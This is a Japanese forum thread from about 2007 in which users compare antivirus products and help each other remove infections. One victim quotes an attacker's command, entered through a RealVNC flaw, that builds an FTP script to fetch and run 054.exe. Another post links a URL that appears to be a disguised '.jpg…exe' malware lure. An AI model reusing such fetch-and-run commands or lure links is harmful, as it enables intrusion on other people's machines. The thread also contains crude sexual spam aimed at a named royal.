そんな疑いのある物を政府が採用したり国防省や軍事機関が採用するわけないじゃないですか
採用実績を見ればいいすよ

カスペのサポートってどうなの？

>>535氏
参考にさせて頂きます。
>>536-538氏
そうなんです…最新版は動かないんです。
仕事があるのでなかなかOSごと入れ替えはできなくて…。
>>539氏
お客様の間での知名度に問題が…。
昨日がどうこうでなく有名な物でないと納得しない頭の<s>悪い</s>固い方がたまにいらっしゃるものですから…。

となるとやはりVirusScanかVirusBusterになりますか…。
どちらの方が検出精度が高いのか…。
昔からノートン一筋で来てしまったので、他社製品にとんと疎くて途方に暮れておりまする。

>>542
VirusBusterはVB100%失敗してます(2006/6）
残るはMcAfee VirusScan
検出力はav-comparatives(2006/8)によるとnortonより下です

>>543
VirusBusterじゃなくPC-Cillinな
わらけるような回数しか受賞出来てない

>>544
間違い訂正感謝

>>542
PC-cillin = ウイルスバスター
PC-cillinは海外での名称

>>543-546氏
どちらもノートンさんよりダメダメですか。
しかしこの重さは日常の作業に差し支えるし…。

2006は重いと聞いていたのでアンチウィルス2003のライセンスだけを更新していたのですが、
今回から販売されなくなってしまったのでこの手も使えず、
たまたま家に転がっていたのがインターネットセキュリティーだったので
入れてしまって、些細なことさえ重くて一拍待つ状態に音を上げております。
アンチウイルスだけのパッケージをどこかで調達してきても重さに変わりはないのでしょうか？

>>547
OS起動後の、プロセスどの様になっていますか？
Norton Internet Security 2006（保護者機能なし、調整後）　メモリ使用量
ttp://i9.tinypic.com/2w57ja9.jpg

>>547
一般への知名度＆機能で選別したらバスターかマカフィーかカスペ以外に選択肢は無いよ。
現状重いのが問題だとするとカスペはノートンほどではないにしろ重いほうの部類なのでバスターかマカフィーに絞られる。
バスターとマカフィーなら知名度(シェア)ではバスターが上だし
機能的にも若干上っぽいのでバスターをお勧めする。
バスターは１本で３台のPCにインストールも可能だしお得。

カスペ重くないがな
セレロン300のメモリ256のW2KSP4で動かしてるが
avast!やAVG入れてたときと変わらん。

>>506の書き込みの「今どきルータは必須」というのを見て疑問に思ったので
若干スレ違いだとは思いますが、質問させて下さい。

ウチのNTTレンタルのモデム(ADSL)はルーター機能はありません。
モデム自体はルーター付きにただで変えてもらえるとは思いますが、
ルーター機能を使うにはフレッツセーフティに入らなければならないのでしょうか？

スレ違いなのは重々承知してますが、ここのスレを見て疑問に思ったので
親切な方教えて下さい。
一応NTTのHPは見ました…。

>>551
セーフティーに入らなくても平気。
ルータは自分で買ってきて付けてもいいと思うよ
今はたいした値段しないし。

>>552 早速親切な人、回答ありがとう！
レンタルのモデムは近いうちに新しいのにしてもらいたいと思います。

自分買いの情報もありがとう。
電気店にでも行って、今後どうするか検討してみます。

携帯からｽﾏｿ
メールチェックしたら
forgot password 〜以下失念
というメールが着てて中見たら使っているパスワードが書いてありましたorz

これってウィルスメールとかだったんでしょうか？
それともパスワードぬいちゃいましたよってメールなんでしょうか？

助けてｴﾛｲ人！

そのサイトのログイン画面で、「パスワードを忘れた場合」
の手続きを取った場合に登録アドレスに送られてくる類のものじゃないか？

>>555
�d

全文英語だったので多分違うと思います
仕事前にあんなメール見るんじゃなかった・・

★━ 質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ マルチポスト（他スレ、他サイトとの同時質問）禁止。他スレから誘導された場合は、
　　 その旨書くこと。
　・ 違法な話題や質問(Winny等のP2P関係、エミュレータ等)は禁止です。
　・ 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。

●質問用テンプレート●

【使用OS】
【使用ブラウザ】
【Microsoft Updateの状態】
【ウイルス対策ソフトとバージョン】
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】

【具体的な症状】
【過程と措置】
【その他】

光回線で、ルータを使っています。
OS: windows xp
ブラウザ:IE
avast,zonealarmを使っています。
Real VNCも使っています。

ＰＣをつけっぱなしにして寝ていて、起きてみたらcmdが勝手に複数立ち上がっていました。
"ファイル名を指定して実行"のウィンドウも開いていて

cmd.exe /c del i&echo open 127.0.0.1 11004 > i&echo user 1 1 >> i &echo get 054.exe
>> i &echo quit >> i &ftp -n -s:i &054.exe&del i&exit

を実行しようとしていました。
接続してきたipは国内からのもので、自分と同プロバイダを使用していました。
portは5900を使用していました。
乗っ取られているんでしょうか？また。上記のコマンドは何をしようとしているのでしょうか？

追加
ウィルスチェックをしている途中なのですが
２ｃｈブラウザのログからトロイが出てきました。
２ｃｈのログから感染することもあるんでしょうか？

落ち着いてテンプレ使え
ここのルールだ

ちょっと謎な現象が起こったので、意見を聞かせてください。

マイピクチャを何気なく開いたところ、保存した覚えの無い画像が
十数枚ありました。
グロ画像ではなく、風景画や外国人の家族の写真です。
プロっぽい写真なので、個人の写真ではなく何かのサンプル画像かもしれません。
画像の作成日を見ると私のパソコンの購入日より前になっています。

最近、フリーのソフトをダウンロードした事くらいしか心当たりがありません。

これは一体なんなんでしょうか？

>>558
Real VNC 4.1.1の不具合4.1.2使え

>>561
サンプル

株板のUPローダーですが

http://zaraba.qp.land.to/up/src/1170761927155.jpg

こういう感じの外国人の子供の写真と砂漠や崖などの風景写真です。
特にコレといってPCに変化はありません。

【使用OS】 Windows XP SP2
【使用ブラウザ】 Internet Explorer 6
【Microsoft Updateの状態】
【ウイルス対策ソフトとバージョン】 avast v4.7 アップデートは最新
【スパイウェア対策ソフト】 なし
【ファイアウォール】 zonealarm 最新です
【ルータの有無】 有

【具体的な症状】 コマンドプロンプト画面が複数開かれていて、ファイル名を指定して実行も開いていました。
　　　　　　　　　　　>>558で書いてあるコマンドが入力されていて、リアルタイムに入力されていくのも確認しました。
　　　　　　　　　　　real vncは操作されている状態になっていました。
【過程と措置】 接続しているip/ポートの確認、監視、real vncの停止。各種パスワードの変更。ウイルスチェックの実行です。

>>562
実際にコマンドが打ち込まれていくのも見たのですが、
real vncの不具合というのは誰かに簡単に操作されうる可能性があるということですか？
それともアプリケーション自体がそのような動作をするという事ですか？

>>564
これじゃねえの

RealVNC サーバの認証が回避される脆弱性に関する注意喚起
http://www.jpcert.or.jp/at/2006/at060005.txt

クラッカーにいたずらされてる希ガス

書き忘れ
【Microsoft Updateの状態】 2007年1月12日
でした。

>>562,>>565
アップデートしてみます。ありがとうございます！

http://nsr250.no-ip.biz/
これって大丈夫？

>>426
更に10日間ぐらいの内に6連続でNOD32が検出できないウイルス出現。
今回はフリー製品、御三家（バスター、ノートン、マカフィー）、
その他の製品も多数検出できているのに、NOD32は駄目。


代表的な検出名：Trojan.Dorroper.Joiner
http://vista.crap.jp/img/vi7072259495.jpg
http://www.virustotal.com/

Fセキュアってどうなの？

>>561
>>562
吹いた

ちょっと質問。
スパイウェアを水面下で予防、削除するソフトはあるけど
URLを踏んづけてスパイウェアが侵入しそうになった際、
リアルタイムで警告してくれるソフトはありませんか？
XP使用です…

>>572
やばいと思ったらLANケーブル引っこ抜く

やばいと思ったら急いでPCを壁に投げつけろ
コンクリート壁がおすすめ

は？

いやいや単純にPCを窓から（ｒｙ

うわ・・

ノートンインターネットセキュリティ2007
か
ウイルスバスター2006(2007はかなり評判が悪いようなのでパス)
のどちらかを入れようと思っているのですが、どっちがいいですか？

>>578
その二つからならノートンだな

>>579
やはりノートンですか。
ありがとうございました

>>550
俺も大きな量販店の店員さんからカスペは性能は良いけど動作が一番重いって説明を受けてバスター買ったけどネットの書き込み見てるとやっぱカスペが気になって体験版を入れたら軽くてびっくり
2台はバスターを入れるけど一台はカスペで行こうと思う

バスター2007か？ｗ

>>582
2007を買いました

ノートン2007以前は糞重い。

カスペは軽いほうだろう。


おれはAntiVir使ってるが。。

バスター2007は2006より重くなって使い物にならないらしいし。

>>548氏
プロセスまで確認したこと無かったです。
少し調べてみます。
>>549氏
バスターの方がちょい上ですか。
購入時の参考になります。ありがとうございます。

Norton Internet Security 2007（Add-on Pack適用なし、調整後）　メモリ使用量
ttp://i15.tinypic.com/40dc6k1.jpg

真面目に質問します
総合に書くか迷いましたが、
【使用OS】 XP
【使用ブラウザ】 IE6
【Microsoft Updateの状態】 してる
【ウイルス対策ソフトとバージョン】 VB07
【スパイウェア対策ソフト】 同じく　spybotなども
【ファイアウォール】 あり
【ルータの有無】 あり
【具体的な症状】
【過程と措置】
【その他】

質1　脆弱性がアーカイバソフトにないとします（RARなど）その状態で解凍した瞬間に、襲いかかってくるウイルスというのは
今考えられますか?前そういうのがあった気がするんですけど、私がEXEを実行していたかもしれません

質２　java　javascript　activex　などを有効にしたまま危ないHPに行くと、どういう経緯でどういう風にウイルス感染するのでしょうか?
おおざっぱなら私もわかりますが、分かりやすく教えてもらえませんか?

質３　オートランでウイルス実行、exeをクリックした。この場合ソフトがウイルスに対応してたらどうなるのですか?
感染は防げますか?　　よろしくお願いします。

>>588
1
指定外の場所に解凍してしまう脆弱性をクリアしていれば、解凍即感染は今のところない。
自己解凍のexeならある。
2
無数にあるので個別に詳しくというのは検索するべし。
3
対応していればダウンロード中や、解凍前でも検出され実行できないようロックされるのが主流。
ソフトや設定に依る。

Kasperskyは本当に最強か

核心から言いますと、Kasperskyとて常に最高の検出率を示し、常にトップに君臨するわけではない
というのが結論になります。もちろん自分のテスト結果での話です
2005/07/14〜21のテストを見て頂ければわかるのですが
テストはカスペルスキーで名称、または実害の確認を取っているサイトのウイルスを用いています
つまりカスペルスキーを１００％という基準に置いたテストということになります
ではこれをノートンを１００％としたウイルスを用いてテストをしたらどうなるでしょうか
実はこれ、カスペルスキーは１００％の数字を出しません。これはマカフィーでも同じことが言えます
マカフィーで１００％の検出率を示すウイルスを用意し、マカフィーを最高値として設定します
ほとんどの場合ノートンとカスペルスキーはこの数値に届きません
このように基準に置くウイルス、アンチウイルスを変えるだけで数字というのは変動します
しかしこれを検出率の低いソフトを基準に置いてしまうと、軒並み１００％という結果になってしまいます
己を基準に置いてカスペルスキーの順位を脅かす可能性があるのはノートンとマカフィーこの２つだけでした
自分は前回おこがましくもランキングなどというものを付けましたが
実のところこの３つのソフトは検出率に関しては甲乙付けがたい性能を持っていると言うことです
これは似た検出率を示しているソフト群でも同様のことが言えます。細かい順位などあって無いようなものです
自分のテストを見て必要以上にKasperskyの検出率が高い、いわば偶然ながらも印象操作のようなものを感じてしまいました

そんなことはありません。カスペルスキーでも見落とすウイルスは数多くあります
恣意的に選べば1000体のウイルスを用意したとしても90%を割らせることは可能です
ただランダムで選ぶとカスペルスキーが最高の検出率を出す可能性が一番高い、というのもまた事実です
手に入れたウイルスの素性を知ることは困難です。今回こそ知ることができましたが
そのサイトに記述がなければ自分はカスペルスキーの性能を必要以上に喧伝することになっていたでしょう
例え複数のサイトから手に入れたとして、その中のどれかに恣意性が含まれていないとは限りません
言い訳になりますがこの辺が自分の収集能力の限界になると言えます
検出率の２％３％など誤差範囲内だと思ってくれて構いません
カスペルスキーは最高の検出率を出すアンチウイルスのひとつだと思います。それは間違いないでしょう
だが常に99%、100%に近い数字を出せるわけではありませんし、最重要視すべき点でもないと思います
自分でテストをしておいて言うのもなんですが、細かい数字は気にせず、またそう神経質にならずソフトを選んでください
ソフトのCPU、メモリ使用率、圧縮ファイルの対応度、新種、亜種ウイルスの対応速度など他にも気にする点は色々あります
８０、９０％以上の検出率を出しているものであればまず心配はありません

それ以下の物は恐らく値段からして違うと思います。その辺はパソコンの使い方や折り合いなど個人的な問題だと思われます
それらを考慮しなかったとしても、ほとんどのアンチウイルスは流行のウイルスに対応しています（対応速度の程度はありますが）
その辺の資料はVirus Bulletinが詳しいでしょう
だがトロイのテスト結果のように、どのソフトにも検出漏れはあります。そしてその中には実行可能な物も含まれています
考慮しなければならないのはそのリスクと度合いです。漏れがあればあるほどその危険性は高くなると思います
それを大雑把でいいので感じ取ることができたらと思いテストをしてみました
不手際は多いでしょうが、その分指摘も適切に受け取りたいと思います
次回、次々回・・・があるかどうかは分かりませんが、その時に、より正確な情報を発信できるように
ただ今回のようなテストはもうしないと思います
各ソフトの実力位置も固定されてきましたし、同じテストを繰り返しても恐らく結果の繰り返しでしょうから
個人で出来る範囲での良いテスト方法があれば、その時にまた考えてみたいと思います
以上です

【使用OS】 W2K
【使用ブラウザ】 IE5
【Microsoft Updateの状態】 していなかった
【ウイルス対策ソフトとバージョン】 なし
【スパイウェア対策ソフト】 なし
【ファイアウォール】 なし
【ルータの有無】 なし
【具体的な症状】
　　VundoFixの削除失敗
【過程と措置】
　　上を見てふざけるなと思った方が多いかと思いますので、状況説明を。
　　叔父(70歳以上）のPCにトラブルが、と言う理由で呼び付けられました。
　　状況を確認した所ウィルス、マルウェアの見本市となっており、
　　Windowsアップデートを行おうとしても途中で叩き落される有様でした。
　　HDDを自宅に持ち帰り、ノートン、adware、spybot等で削れる物は削り、
　　セキュリティロールアップパッケージ等はこちらのPCから移し・・、と、
　　私のスキルで取れる対策は一通り取った後PCを戻し、
　　ネットに繋いでソースネクストのウィルスセキュリティ設定、
　　及び入って貰ったケーブルテレビのファイアウォールサービスを
　　設定しようとしたのですが、双方とも残ったマルウェアの為か、
　　接続がすぐに切れて失敗しました。
　　色々と調べた結果Trojan.Vundoの様でしたので、VundoFixを実行した所、
　　27ファイル程削除したのですが残り４ファイルの削除に失敗しています。
　　エラーメッセージは下記の通りです。
　　「C:\\Vundofix.regを取り込めません。ファイルを開こうとして
　　　エラーが発生しました。ディスクまたはファイルシステムのエラーの可能性が
　　　あります。」
　　本当にディスクのエラーでしたら他ファイルの削除も出来ないのではないか、
　　と思うのですが、取り合えず他にやれる事が思い浮かびません。
　　セーフモードでの実行等も試しましたが結果は同じでした。
　　この状態のマシンをネットに繋ぐ訳にも行きませんし、
　　この後やれる事が浮かばない状態なのですが、何か良い手はないでしょうか？

>>593
ブートもやられてる可能性大
HDDのローレベルフォーマットからやってみたら

>>ネットに繋いでソースネクストのウィルスセキュリティ設定
これは外して別のにしたら
少なくともこれより悪いのはないよ

>>593
ttp://forums.spybot.info/showthread.php?t=5855
多分これだけどその様子だと他にも何か残ってそうだし>>594がベスト

>>594、595
有難うございました。データのバックアップは取っていますので、
まずはフォーマットからやって見ます。
後者は自分では使っていませんが、年金生活の叔父ですので余り無理も言えませず。
ちゃんと調べればそれでも止めろと言う事になりそうですが、
まずは現在のトラブルから・・。

ウィルスバスターの時刻指定のウィルス自動検索って、ＰＣの電源入ってる時じゃないと働かないの？

そらそうよ

ポートの質問なんですが
アドレス
ポート番号
はどうやって知ることができますか？
PSPの設定で困ってます・・・

>>599

●質問用テンプレート●

【使用OS】
【使用ブラウザ】
【Microsoft Updateの状態】
【ウイルス対策ソフトとバージョン】
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】

【具体的な症状】
【過程と措置】
【その他】

これ使え。　ゲーム関連なら特にOSとファイアウォール・ルータの有無が知りたい。
てか、ググレばそのくらいの情報あると思うが・・・。

無線はバッファローを使ってます。

【使用OS】 windows xp　sp2
【使用ブラウザ】internet explorer 6.0
【Microsoft Updateの状態】 最新
【ウイルス対策ソフトとバージョン】 ウイルスバスター2007
【スパイウェア対策ソフト】同上
【ファイアウォール】 同上
【ルータの有無】 有り

【具体的な症状】 インターネットにつないだ瞬間画面が真っ暗になり、
　　　　　　　　　「次のファイルが壊れているため起動できません」
　　　　　　　　　というようなメッセージが表示されました。そのファイル
　　　　　　　　　名はメモし忘れたのですが、「windows」「system」の文字列
　　　　　　　　　が含まれていました。
【過程と措置】 再インストールにより回復
【その他】
これはウイルスによるものでしょうか？対策ソフトも更新していたのに…
教えていただけるとうれしいです。よろしくお願いします。

>>602
\system32\hal.dllじゃね？
それならハードディスクが逝きかけてる
スキャンディスクオススメ

>>586
騙されるなｗ
バスター、マカフィーの重さは極悪だぞ
2007年度版はノートンの方がまだ軽いｗ

>>581
店員に騙された池沼に言われたくはない

「次のファイルが存在しな以下またか壊れているため、Windows を起動できませんでした:」
の対処法（下のほうにhal.dllの対処法）
ttp://support.microsoft.com/kb/880636/ja

ttp://up2.viploader.net/pic/src/viploader409088.jpg
これがどんなウィルスなのか見て欲しいんですが。

ゲイの白人のチンポって　OH BIG!
　　　_　_　＿　＿＿
　／三ﾐミﾐ＝＝ヾヾヾヽ
/＝三ミミミミ二二≡ﾐﾐミﾐゞ
i/三ミミﾐ=二二二二ﾐミミﾐﾐヽ
|//////　ﾐ ミ ミ ミミミミミﾐﾐゝ
|/////ﾉ　　　　　　ヽミミミﾐミ ｝
|/// ノ　　　　　　　 ＼ミミミﾐ |
｀//i 　￣ ＼　　　　／　|ﾐﾐﾐﾐﾐ|
│:i　　＜O＞　　 ＜O＞ミﾐﾐミ|
│i　　　　　丿　　i　　　 ＼ﾐiミ|
│　　　　ノ(　　 　)　　 ・　i||ﾐ|ﾐ|
ヽi　　　(　＿ヽ_ ノ＿ ）　　］ﾐﾐﾐ《|
《ヽ　　　＼H_H_H_H丿　　ﾉ巛巛《
巛<ヽ　　　ヽ ＿ ノ　　／巛巛巛《
《巛<＼　　　　　　　／巛巛巛巛
《《《巛《《──　-　ヽ巛巛巛巛<
巛巛巛《ノ　＼　　　　<《《《巛巛

ロイヤル・ビッチ[Royal　Bitch]（1986〜）

[乱交]華麗に踊る高円宮承子の毎日[下品]
http://human6.2ch.net/test/read.cgi/ms/1170501541/
週刊文春が報じた 女性皇族「奔放HP」の中身
http://www.j-cast.com/2007/02/01005277.html
まとめｗｉｋｉ
http://matome.eek.jp/royal/
Princess Tsuguko of Takamado
http://en.wikipedia.org/wiki/Princess_Tsuguko_of_Takamado
日皇室"辣妹"曝留学生活 ?上可?小男生
http://world.eastday.com/eastday/06news/world/w/20070203/u1a2607291.html

>>607
リンクされないようにしとけ

[JS.Trojan.WindowBomb]
http://www.symantec.com/region/jp/avcenter/venc/data/js.trojan.windowbomb.html

>>603
チェックディスクしてみました。終わったんですが…なにもメッセージ
などでないし異常は無かったみたい？です。不安が一個解決
しました、どうもありがとうございました。

>>610
再現しないのならいいじゃあ〜りませんか

確認
エラーチェックの結果は、イベント ビューアのアプリケーション ログに記録される

>>606
こんな方法があったとは(゜o゜)あせって再インストールする
必要は無かったのですね…orz
今度からはこっちを試してみます。ありがとうございました。

>>611
見てみたら異常なしのようでした。でもさっきから「ブーン」
って変な音がし始めましたorzやっぱりハードに問題があるのか…
今度修理に出します。ご迷惑おかけしました…m(__)m

【使用OS】XP
【使用ブラウザ】Internet Explorer 6.0
【Microsoft Updateの状態】よく分かりません
【ウイルス対策ソフトとバージョン】同上
【スパイウェア対策ソフト】同上
【ファイアウォール】同上
【ルータの有無】無

【具体的な症状】ブラウザを起動して一定時間たつと
Windows95みたいな画面になるんですが、
これが関係あるかは分かりません。
【過程と措置】カスペルスキーというところでオンラインチェックしたら
感染オブジェクトが３つあり、そのうち２つがＣドライブにあるWindowsのシステムファイルです。
感染オブジェクトを削除した場合、正常な動作をしなくなるのではと心配で、どう対応してよいか
分かりません。
【その他】

追記

検出されたウィルス名は
Backdoor.Win32.SdBot.gen
でした

>>614
Windows\system32\　
内にウィルスがファイルを作っているだけで、システムファイルではない。
対応は下記参照
http://www.spywaredb.com/remove-backdoor-win32-sdbot-gen/

ウイルスバスター2007 トレンド フレックス セキュリティか
Norton Internet Security 2007で迷っております。マシンはノートで
ThinkPad T60p(Core2DuoT7600でメモリー1GB)のXPモデルです。
どちらがお勧めでしょうか。

ノートン2007ってそんなに軽くなったのか。
じゃぁ　な・ん・で

それを売り文句にしないんだ？　　ふしぎだ…

普通の人なら2006同様に重いと判断して当然だろ？買うわけない。

>>617
norton

>>617
例年どおり性能悪いくせに　今年のバスターは重いぞ

ノートン２００７は軽い軽いって言うから入れてみたけどさ、


死 ぬ ほ ど 重 い よ


インストにマジで一時間、起動してみるとパソコンに何トンもの
錘がついてるかのようにモッサリ、アンインストにもまた一時間

まぁ、XPSP2、CPU800Mhz、メモリ512MB、だけどな。
でもこんな鬼みたいに重たいソフトよく平気な顔して売るよ。
インターフェイスは今迄で一番センス良かったけどね。

そんな化石みたいなCPU使ってるからだよ

なんだそのスペックは

>>622
マシンを責めるなよ

>>621
高めのスペックを対象でdefaultを設定してる
だから使う機能を落とさないと重い

>>622
スマン。。。

>>623
サブで使ってる四年前のダイナブック

>>624
なるほど。

でNOD32とアウポに戻しますた。

http://compact.s56.xrea.com/virus/ero.jpg_________________________________________________________________.exe
こんなの見つけた！

ウイルスバスター2007 トレンド フレックス セキュリティか
Norton Internet Security 2007どちらも重いのが不評のようですが
さいわい僕のマシンは最新なんで問題ないかと思います。重い
かどうか以外で考えるとどちらがお勧めでしょうか。

NIS

★━ 質問のしかた ━━━━━━━━━━━━━━━━━━━━━━━━━━━━
　・ 2回目以降の書込は、名前欄に最初に質問した際の「発言番号」を入力すること。
　・ マルチポスト（他スレ、他サイトとの同時質問）禁止。他スレから誘導された場合は、
　　 その旨書くこと。
　・ 違法な話題や質問(Winny等のP2P関係、エミュレータ等)は禁止です。
　・ 薮パソユーザーは立ち入り禁止。HNを変えてもダメです。

●質問用テンプレート●

【使用OS】
【使用ブラウザ】
【Microsoft Updateの状態】
【ウイルス対策ソフトとバージョン】
【スパイウェア対策ソフト】
【ファイアウォール】
【ルータの有無】

【具体的な症状】
【過程と措置】
【その他】

>>589
ありがという

「Vistaを守れなかったアンチウイルスソフト」：Virus Bulletin調査

ttp://japan.cnet.com/news/sec/story/0,2000056024,20342509,00.htm
>合格した11製品は、CA、Fortinet、F-Secure、Kaspersky、Sophos、Symantec
>から発売されているアンチウイルスソフトウェアで、すべてのウイルスを検出した。


NOD32は駄目だったのね（´；ω；）

>>631
NOD32は、CA、Fortinet、F-Secure、Kaspersky、Sophos、Symantecみたいに、
全てのウイルスは検出できなかったんでしょうな。

>>631
以前のNODはよかったけど最近は普通のレベルにまで落ちてしまった

CAは何で？
こんな糞フトはやく無くなれよなぁ

【使用OS】 XP-PRO
【使用ブラウザ】 IE6
【Microsoft Updateの状態】 最新
【ウイルス対策ソフトとバージョン】 ウィルスバスター2006　無償版
【スパイウェア対策ソフト】 同上
【ファイアウォール】 有り
【ルータの有無】 有り

【具体的な症状】・IEを開くと自動的に英文のページに飛ばされる
　　　　　　　　・画像表記ができない
　　　　　　　　・IEを複数出してまとめた場合マウス置いても一覧が出ない
　　　　　　　　・右下のタスクから警告表示が出続ける
【過程と措置】 ソフトで検索した結果が↓です
　　　　　　　http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=TROJ_ZLOB.BVP
　　　　　　　　隔離不可なので手動で削除しろと出る

【その他】 スレ違いだったらスマソ
　　　　　 ウィルス削除板行った方がいいですかね？

>>635
そのページの下の方に対応方法があるわけだがそれ以上何を？

ルーターモードとDMZについて質問です。

ACCA＋OCNのADSLでつないでます。
よくDMZは危険だと聞きますが、これはルーターモードでも
同じ事が言えるのでしょうか？

ブリッジは直接ですから、危険なのは分かります。

ネットゲームでポートは空けてIPを固定してます。
が、たまに不都合でゲームすることが出来ません。
DMZにするとOKです。

ノートン先生も入ってます。

よろしくお願いします。

レジストリ削除したんだけど
・画像表記ができない(▲●■の表記)
・IEを複数出してまとめた場合マウス置いても一覧が出ない
が戻らなくて消えてないフォルダがありウィルスバスターが起動する
ってな感じなんですがどうすればいいか教えてください

・ WindowsXP、IE、FireFox、ノートン2006
そろそろ更新してくれと表示されるんだけど、そのまま使っても問題ない？
今の所は、特に不満点無いんだけど、正直言うと更新する金が惜しい！
ノートン2005を更新せずに、そのまま使ってる人って、何か問題ありました？

>>639
アンチウイルスを更新せずに使うこと自体が論外、期限がきれたアンチウイルスなど入っててもただのゴミ

>>639
愚問。

Firefoxに2件の脆弱性報告
http://www.itmedia.co.jp/news/articles/0702/08/news030.html

Firefoxのポップアップ遮断機能とフィッシング対策機能に脆弱性が存在するとして、セキュリティ企業Beyond Security傘下のSecuriTeamがサイトで情報を公開した。
SecuriTeamによると、ポップアップ遮断機能の脆弱性はバージョン1.5.0.9に存在する。
遮断されたポップアップをユーザーが手動で許可すると通常のURLパーミッションチェックが機能しなくなる。
これを別の手口と組み合わせると、攻撃者がシステム上の任意のファイルを読み取り、重要な情報を盗むことができてしまう可能性がある。

フィッシング対策機能の脆弱性では、フィッシングサイトのURLでドメインのあとに「/」の記号を付け加えると、
そのサイトは問題なく表示されるものの、別のサイトとして認識され、フィッシング対策が機能しなくなる。
このため警告が表示されず、フィッシング詐欺サイトが安全なサイトとして認識されてしまう恐れがある。
この脆弱性は最新バージョンのFirefox 2.0.0.1にも影響するという。

>>639
PC売ってでも更新するﾖﾛｼ

>>642
火狐叩き乙（ｗｗｗｗｗｗｗｗｗｗｗｗ

>>616
指定されたページのプログラムをダウンロードして走らせて見たのですが、
全く何も変わりません。私が英語がよく分からなかったので、動作方法が適切ではなかった
のかもしれませんが・・・。ＤＬ→ＳＷＥＥＰで合ってますよね？

>>645
以下のプロセスを停止する
cnfgld32.exe, hdvcxa.exe, navasvc.exe, operserv.exe, plug-in.exe, rectumunet.exe, lshosts32.exe, yahoomsgr.exe
以下のレジストリを削除
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\yahoo instant messengar
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\runservices\yahoo instant messengar
以下のファイルをWindows\system32\から削除
cnfgld32.exe, hdvcxa.exe, navasvc.exe, operserv.exe, pictures.pif, plug-in.exe, rectumunet.exe,
lshosts32.exe, yahoomsgr.exe

プロセスの停止？レジストリの削除？
ど素人なんで全く分かりません・・・ボスケテ

spy sweeper の実行時にそんな項目が出ないんですが・・・。
日本語版って配布されてますか？

>>647
手動で削除

Alt+Ctrl+Del　→　タスクマネージャ開く　→　プロセスのタブ　→　下記のプロセスを終了させる（一字一句違わず完全に一致するもののみ）
cnfgld32.exe, hdvcxa.exe, navasvc.exe, operserv.exe, plug-in.exe, rectumunet.exe, lshosts32.exe, yahoomsgr.exe

スタート　→　ファイル名を指定して実行　→　regedit　→　下の2個を探して削除（フォルダこと削除はダメ絶対）
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\yahoo instant messengar
HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\runservices\yahoo instant messengar

以下のファイルをWindows\system32\から削除（一字一句違わず完全に一致するもののみ）
cnfgld32.exe, hdvcxa.exe, navasvc.exe, operserv.exe, pictures.pif, plug-in.exe, rectumunet.exe,
lshosts32.exe, yahoomsgr.exe

金にもならんのにこんなに親切な人もいるんだな。
ちょっと感動した

botはリカバリ推奨だー

リカバリ後、SP2インストール、ルータをかます、Windowsファイアーウォールを有効（例外を許可しないにチェック）
にしてから、ネットに繋いでMicrosoftUpdateをする（重要な更新が無くなるまで繰り返し行う：要再起動）

>648
なんかそれだと、
RunやRunservicesというフォルダまでたどり着きましたが、
「yahoo instant messengar」という名前のフォルダはありません。
と言い返されそうな気がするね。

親切に教えていただき、有難う御座います！
試してみたところ、該当するファイル名は１つもありませんでした。

spy sweeper実行で全部削除できたのかもしれません。
相変わらずＣドライブにlolxとかいうよくわからないファイルがありますが。

これで解決できてないようでしたら、>>650さんの方法も試してみます。
ありがとうございました！！

641 ：番組の途中ですが名無しです ：2007/02/08(木) 14:27:20 ID:WI+kRAZH0
前XPリカバリしてフリーのZoneAlarmとAVAST落とそうと思って
ネットに繋いだら速攻Sasserにやられたんです（；＞＜）

マジですか？ネタですか？

釣り乙

ウィルスバスター2006で直接消去できないと表記が出るので
参照ページを参考にレジストリから消去したのですが何度やっても
ハードディスクＣにVideo ActiveX Objectというフォルダが
残っていてまた同じように書き直されます…

直接フォルダを消すようなソフトは無いんでしょうか？
誰か分かる方解決方法を教えてください

カスペルスキーに興味があるのですが、
インターネットセキュリティーとアンチウイルスと
両方購入した方が良いのでしょうか？

>>652
ほんと
ルーターなしでノーガードでネットにつなぐと一瞬で感染してて笑う
3分持てば良い方ｗ
症状出て無くてもスキャンかけるとダウンローダーやらrootkitやらキーロガーやら色々仕込まれてたりするｗ

>>655
KIS(カスペルスキーインターネットセキュリティ)にはKAV(カスペルスキーアンチウイルス)が内包されているので購入はKISのみで良い
たまに両方買ってる人がいる・・・

ルータなしで接続するなよ

>>657
ありがとうございます！
両方買うところでした。。。

▼「インターネット接続するコンピュータは，39秒ごとに攻撃を受けている」，
米調査
ttp://itpro.nikkeibp.co.jp/article/NEWS/20070207/261293/

▼Microsoft Officeに新たなぜい弱性，文書ファイルを開くだけで被害に
ttp://itpro.nikkeibp.co.jp/article/NEWS/20070205/260701/

▼犯罪者がOfficeの未知のぜい弱性を攻撃中――米マイクロソフトが警告
ttp://itpro.nikkeibp.co.jp/article/NEWS/20070205/260678/

▼アイコンを「パンダ」にするウイルスが蔓延，Webアクセスで感染
ttp://itpro.nikkeibp.co.jp/article/NEWS/20070202/260515/

http://news22.2ch.net/test/read.cgi/newsplus/1170906628/295
のURLをクリックしたらgoogleでなく変なとこへ飛ばされたけど大丈夫？

すいません質問させてください。
昨日から最近急にネットが重くなりました。
ノートンでスキャンしたんですが何も出てきません
エロサイトを見てもないですし
最近やったとしたらハンゲームを登録して
ゲームが出来なかったのでサイトに書いてある通りに
インターネットオプションをいじったくらいです。
解決方法があれば教えていただきたいのですが・・
OSはＸＰです。

すいません。文章がメチャクチャでした・・
昨日からではなく
ここ三日くらいです。
ハンゲームの設定はインターネットオプションをいじっても
ゲームが出来なかったのでノートンを切ってやりました。
それがいけなかったのでしょうか・・？

>>66
((((((；ﾟДﾟ))))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

>>661
確かに飛ぶね
ブロックしてくれたなら無問題

>>663
ルータ通してる？
ないならアウト

あとハンゲームはスパイを呼び込むようなもの
IEオプション何したかわからんがnortonできちんと対処しな

>>666
ルーター通してないです・・・
今、ノートンでシステムスキャンしてます・・
これで何も出てこない場合は
リカバリしかないですかね？

>>667
はんで何拾ってきたかわからんけど。
カスペのもやってみ
